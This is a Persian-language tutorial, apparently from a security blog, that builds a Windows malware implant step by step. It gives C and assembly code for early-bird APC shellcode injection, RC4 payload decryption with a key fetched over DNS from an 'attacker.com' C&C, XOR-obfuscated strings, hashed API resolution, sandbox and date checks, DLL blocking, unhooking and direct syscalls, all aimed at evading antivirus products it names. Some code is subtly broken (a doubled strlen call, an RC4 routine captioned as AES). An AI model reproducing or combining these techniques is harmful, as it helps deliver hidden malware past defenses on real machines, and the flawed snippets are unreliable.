جدول محتوا
- Implant Skeleton
- Payload Encryption
- Getting Key through DNS
- Payload Decryption at Run-Time
- String Encryption And Wiping From Memory
- Dynamic API resolution through hashing
- Sandbox Detection and Avoidance
- CPU Check
- RAM Check
- Disk Space Check
- Time Check
- Mutex Check
- Preventing DLL Injection
- API Unhooking
- Direct Syscall and Improvements
- Security Solution Result
Implant Skeleton
گام اول را با نوشتن یک بدافزار ساده که یک payload را در یک پروسس دلخواه (در این مثال در ping) با تکنیک early bird تزریق میکند، شروع می کنیم و در این مسیر به بهبود آن میپردازیم. (اگر این اصطلاحات برایتان ناآشنا است و نیاز به آشنایی با این آنها دارید، پیشنهاد میشود مقالهی DLL Injection را مطالعه کنید.)unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
. . .
};
BOOL Spawn(LPCWSTR path, HANDLE *hProc, HANDLE *hThread) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcess(NULL, path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
return FALSE;
}
WaitForSingleObject(pi.hProcess, 2000);
*hThread = pi.hThread;
*hProc = pi.hProcess;
return TRUE;
}
BOOL Inject(HANDLE hProc, HANDLE hThread, char* payload, size_t len) {
size_t bytesWritten;
LPVOID baseAddress = VirtualAllocEx(hProc, NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (baseAddress == NULL) {
return FALSE;
}
if (!WriteProcessMemory(hProc, baseAddress, payload, len, &bytesWritten)) {
return FALSE;
}
QueueUserAPC((PAPCFUNC)baseAddress, hThread, NULL);
if (ResumeThread(hThread) == -1) {
return FALSE;
}
CloseHandle(hProc);
CloseHandle(hThread);
}
void main()
{
HANDLE hProc, hThread;
LPCWSTR path = TEXT("C:Windowssystem32ping.exe");
Spawn(path, &hProc, &hThread);
Inject(hProc, hThread, (char*)shellcode, sizeof(shellcode));
}
در ابتدا پروسس ping را در حالت suspended اجرا میکنیم و سپس payload خود را در پروسس موردنظر تزریق کرده و thread پروسس را resume میکنیم. این تکنیک ساده محصولات امنیتی معروفی مثل ESET, BitDefender, Malwarebytes, McAfee و ... را دور میزند.Figure 1 - AV Detection
Payload Encryption
مشکل اول این است که payload ما به راحتی قابل تشخیص و استخراج است. محصولات امنیتی با استفاده از signature میتوانند وجود shellcode را تشخیص دهند و تحلیلگران بدافزار هم میتوانند به راحتی با دنبالکردن پارامترهای Stage ، WriteProcessMemory بعدی حمله را استخراج کنند.Figure 2 - WriteProcessMemory parameter and next stage payload
Getting Key through DNS
برای جلوگیری از تشخیص و استخراج stage بعدی توسط تیم آبی، payload را با Encrypt ، RC4 میکنیم (شما میتوانید الگوریتم موردنظر خود را انتخاب کنید.) و در زمان اجرا (Run-Time) آن را Decrypt میکنیم. اگر کلید را درون باینری قرار بدهیم، کار تحلیلگر بدافزار چندان فرقی نمیکند و میتواند با استفاده از همان کلید payload را Decrypt کند. برای جلوگیری از این کار، کلید موردنظر را با استفاده از DNS از C&C میگیریم. مزیت این کار این است که اگر عملیات ما از این مرحله عبور کرده بود، میتوانیم C&C مخصوص این کار را از دسترس خارج کنیم و تیم آبی به هیچوجه نمیتواند stage بعدی را استخراج کند. با استفاده از تابع DnsQuery ، یک Query به C&C خود میزنیم و رکورد TXT را درخواست میکنیم. DnsQuery اطلاعات دریافت شده را در پارامتر پنجم (در اینجا TxtResult) قرار میدهد.char* GetKey(void) {
PDNS_RECORD TxtResult;
DNS_STATUS status = DnsQuery_A("attacker.com", DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &TxtResult, NULL);
if (status != 0) {
return 0;
}
char* key = TxtResult->Data.TXT.pStringArray[0];
return key;
}
Figure 3 - Get Key from C&C
Payload Decryption at Run-Time
با استفاده از کلید بدست آمده، payload را با استفاده از توابع export شده توسط Decrypt ، Advapi32 میکنیم.int RC4Decrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
return -1;
}
if (!CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &hKey)) {
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
Figure 4 - AES Decryption Function
String Encryption And Wiping From Memory
مشکل بعدی این است که stringهای برنامه به راحتی قابل دیدن هستند و گزینهی خوبی برای نوشتن signature. همچنین تحلیلگر بدافزار به راحتی میتواند ادرس C&C را استخراج کند.Figure 5 - Plain Strings in Binary
راهحل این مشکل استفاده از Stack String است. یعنی به جای اینکه Stringها را به طور معمولی در کد بنویسیم، کاراکترها را مثل چند ظرف که رویهم گذاشته شدهاند، میچینیم. همچنین Stringهای برنامه را با استفاده از Encrypt ، XOR میکنیم و در زمان نیاز به String آن را Decrypt میکنیم. بعد از استفاده از هر String، آن را از مموری wipe میکنیم.char dns_server[] = {54, 35, 35, 54, 52, 60, 50, 37, 121, 52, 56, 58, 0};
for (size_t i = 0; i < strlen(dns_server); i++) {
dns_server[i]= dns_server[i] ^ XOR_KEY;
}
DNS_STATUS status = DnsQuery_A(dns_server, DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &Txt, NULL);
size_t dns_server_len = strlen(dns_server);
for (size_t i = 0; i < dns_server_len; i++) {
dns_server[i] = 0;
}
Figure 6 - stack string + xor encryption
Figure 7 - stack string in binary
Dynamic API resolution through hashing
APIهایی که بدافزار استفاده میکند در Import Address Table باینری وجود دارند و محصولات امنیتی و تحلیلگران بدافزار میتوانند برای تشخیص بدافزار و کشف قابلیتهای بدافزار از آن استفاده کنند.Figure 8 - suspicious APIs
هر پروسس در ویندوز با ساختار EPROCESS نمایش داده میشود و در هر EPROCESS، یک Data Structure حاوی اطلاعات درباره پروسس جاری وجود دارد. با استفاده از این data structure میتوانیم APIهای موردنیاز را در زمان اجرا (Run-Time) Resolve کنیم.unsigned __int64 WINAPI FindDll(LPCWSTR sModuleName) {
PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
LIST_ENTRY* ModuleList = NULL;
ModuleList = &Ldr->InMemoryOrderModuleList;
LIST_ENTRY* pStartListEntry = ModuleList->Flink;
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));
if (lstrcmpiW(pEntry->BaseDllName.Buffer, sModuleName) == 0)
return (unsigned __int64)pEntry->DllBase;
}
return NULL;
}
Figure 9 - Find DLL with help of PEB
حالا که ما ادرس DLL موردنظر در مموری را میدانیم، با parseکردن آن، APIهایی که میخواهیم را resolve میکنیم. برای این کار به ترتیب زیر عمل میکنیم: - پیداکردن export table - پیداکردن index تابعی که میخواهیم resolve کنیم. - گرفتن آدرس و اسم تابع با استفاده از ایندکس - محاسبهی هش و returnکردن آدرس تابع درصورت صحیحبودن هش اسم تابع و هش دادهشده.unsigned __int64 FindExport(unsigned __int64 dll_base, int func_hash)
{
PIMAGE_DOS_HEADER peHeader = (PIMAGE_DOS_HEADER)dll_base;
PIMAGE_NT_HEADERS peNtHeaders = (PIMAGE_NT_HEADERS)(dll_base + peHeader->e_lfanew);
DWORD exportDescriptorOffset = peNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(dll_base + exportDescriptorOffset);
DWORD* name_table = (DWORD*)(dll_base + exportTable->AddressOfNames);
WORD* ordinal_table = (WORD*)(dll_base + exportTable->AddressOfNameOrdinals);
DWORD* func_table = (DWORD*)(dll_base + exportTable->AddressOfFunctions);
for (size_t i = 0; i < exportTable->NumberOfNames; ++i) {
char* funcName = (char*)(dll_base + name_table[i]);
unsigned __int64 func_ptr = dll_base + func_table[ordinal_table[i]];
if (calc_hash(funcName) == func_hash) {
return func_ptr;
}
}
return NULL;
}
Figure 10 - Resolving APIs by parsing PE File
در این جا NtWriteVirtualMemory و NtQueueApcThread را با استفاده از Resolve ،hash میکنیم.Figure 11 - Dynamically Resolve API with hash
Sandbox Detection and Avoidance
باینری ما بدون هیچ مشکلی در سندباکس اجرا میشود و تیمهای آبی میتوانند گزارش اولیهی خوبی با استفاده از سندباکسها درباره باینری بهدست بیاورند. برای جلوگیری از اجراشدن باینری در سندباکسها، تعداد processor، مقدار رم و اندازه دیسک را چک میکنیم و درصورت کمتربودن آنها از یک سیستم معمولی، پروسس را terminate میکنیم.CPU Check
تابع GetSystemInfo، اطلاعاتی را دربارهی معماری سیستم برمیگرداند. یکی از این اطلاعات تعداد Processorهای سیستم است. در اینجا فرض میکنیم اگر تعداد Processorها کمتر از دوتا باشد، بدافزار در محیط سندباکس اجرا میشود.BOOL cpu_check(void) {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
unsigned int NumOfProcessors = systemInfo.dwNumberOfProcessors;
if (NumOfProcessors < 2) return true;
else return false;
}
Figure 12 - check number of processors
RAM Check
مثل تابع GlobalMemoryStatusEx، GetSystemInfo اطلاعاتی را دربارهی وضعیت مموری سیستم به ما میدهد. در اینجا اگر میزان رم از ۲ گیگ کمتر باشد، نشاندهندهی اجراشدن بدافزار در سندباکس است.BOOL ram_check(void) {
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
unsigned int RamMb = MemoryStatus.ullTotalPhys / 1024 / 1024;
if (RamMb < 2048) return true;
else return false;
}
Figure 13 - check available ram
Disk Space Check
در ابتدا با استفاده از CreateFile یک Handle به Disk میگیریم و بعد با فرستادن IOCTL زیر اطلاعات موردنیاز برای محاسبهی میزان فضای هارد را بهدست میآوریم. در این مثال اگر فضای هارد کمتر از ۱۰۰ گیگ باشد، به معنی اجرا شدن بدافزار در سندباکس است.BOOL disk_check(void) {
char RawDev[] = {11,11,121,11,7,63,46,36,62,52,54,59,19,37,62,33,50,103,0};
for (size_t i = 0; i < strlen(RawDev); i++) {
RawDev[i] = RawDev[i] ^ XOR_KEY;
}
HANDLE hDevice = CreateFile(RawDev, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
size_t RawDev_len = strlen(strlen(RawDev);
for (size_t i = 0; i < RawDev_len; i++) {
RawDev[i] = 0;
}
DISK_GEOMETRY DiskGeometry;
DWORD BytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &BytesReturned, (LPOVERLAPPED)NULL);
unsigned int DiskSizeGb = DiskGeometry.Cylinders.QuadPart * (ULONG)DiskGeometry.TracksPerCylinder * (ULONG)DiskGeometry.SectorsPerTrack * (ULONG)DiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (DiskSizeGb < 100) return true;
else return false;
}
Figure 14 - check available Disk Space
Time Check
بدافزار ما بعد از تمام شدن عملیات هم اجرا میشود. برای جلوگیری از این امر، اجرا شدن بدافزار را با توجه به تاریخ تمامشدن عملیات محدود میکنیم. با استفاده از تابع GetSystemTime تاریخ جاری سیستم را بهدست میآوریم و بعد از آن با با استفاده از ماه و سال، محدودهی زمانی اجرای بدافزار را محدود میکنیم.unsigned int time_check() {
SYSTEMTIME ct;
GetSystemTime(&ct);
if ((ct.wYear == 2021 && ct.wMonth <= 12) && (ct.wYear == 2021 && ct.wMonth >= 10)) {
return FALSE;
}
else {
return TRUE;
}
}
Mutex Check
نکتهی مهم دیگر، جلوگیری از اجرا شدن همزمان بدافزار است. یعنی وقتی یک Instance در حال اجرا است، Instance دیگری اجرا نشود. با استفاده از Mutex میتوانیم این کار را انجام دهیم.unsigned int mutex_check(const char* name) {
HANDLE mutex = NULL;
HANDLE error = NULL;
mutex = CreateMutex(NULL, TRUE, name);
if (mutex == NULL) {
return FALSE;
}
else {
error = (HANDLE)GetLastError();
if (error == (HANDLE)ERROR_ALREADY_EXISTS) {
return TRUE;
}
else {
return FALSE;
}
}
}
Preventing DLL Injection
یکی از راههایی که محصولات امنیتی باینریها را به وسیلهی آن بررسی میکنند، تزریقکردن DLL خود به باینری تازه ایجاد شده و hookکردن APIهای مشکوک است. ما میتوانیم از loadشدن DLLهایی که توسط مایکروسافت Sign نشده اند، جلوگیری کنیم.si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
Figure 15 - Block non Microsoft signed DLLs
Figure 16 - Block non Microsoft Signed DLLs in action
API Unhooking
در صورتی که DLL توسط مایکروسافت Sign شده باشد، در پروسس ما تزریق میشود و میتواند APIهایی که مشکوک هستند را hook و بررسی کند.Figure 17 - Hooked CreateRemoteThreadEx
معمولا برای hook کردن یک تابع، پنج بایت اول آن با یک jmp/call عوض می شود و بعد از آن EDR/AV می تواند پارامترهای API را بررسی کند. برای unhook کردن تابع، پنج بایت اول آن را با پنج بایت در شرایط عادی (hook نشده)، عوض می کنیم.Figure 18 - Unhook NtWriteVirtualMemory and then call it
Direct Syscall and Improvements
راهحل دیگر استفادهی مستقیم از syscall مربوط به API است. توضیح چگونگی عملکرد این تکنیک از حوصلهی این مقاله خارج است؛ ولی اگر علاقه دارید بیشتر در اینباره اطلاعات کسب کنید، پیشنهاد میشود این مقاله را مطالعه کنید. کافی است به پروژه یک فایل asm اضافه کرده و آن را به Build اضافه کنیم؛ همچنین نیاز داریم prototype تابع که قرار است فراخوانی شود را هم به پروژه اضافه کنیم..code
NtQueueApcThread PROC
mov r10, rcx
mov eax, 45h
syscall
ret
NtQueueApcThread ENDP
end
Figure 19 - syscall.asm content
EXTERN_C NTSTATUS (NTAPI NtQueueApcThread)(
HANDLE ThreadHandle,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcRoutineContext,
PIO_STATUS_BLOCK ApcStatusBlock,
ULONG ApcReserved);
Figure 20 - NtQueueApcThread Prototype
Security Solution Result
References
Hiding Windows API Safer Shellcode Implant Silencing Cylance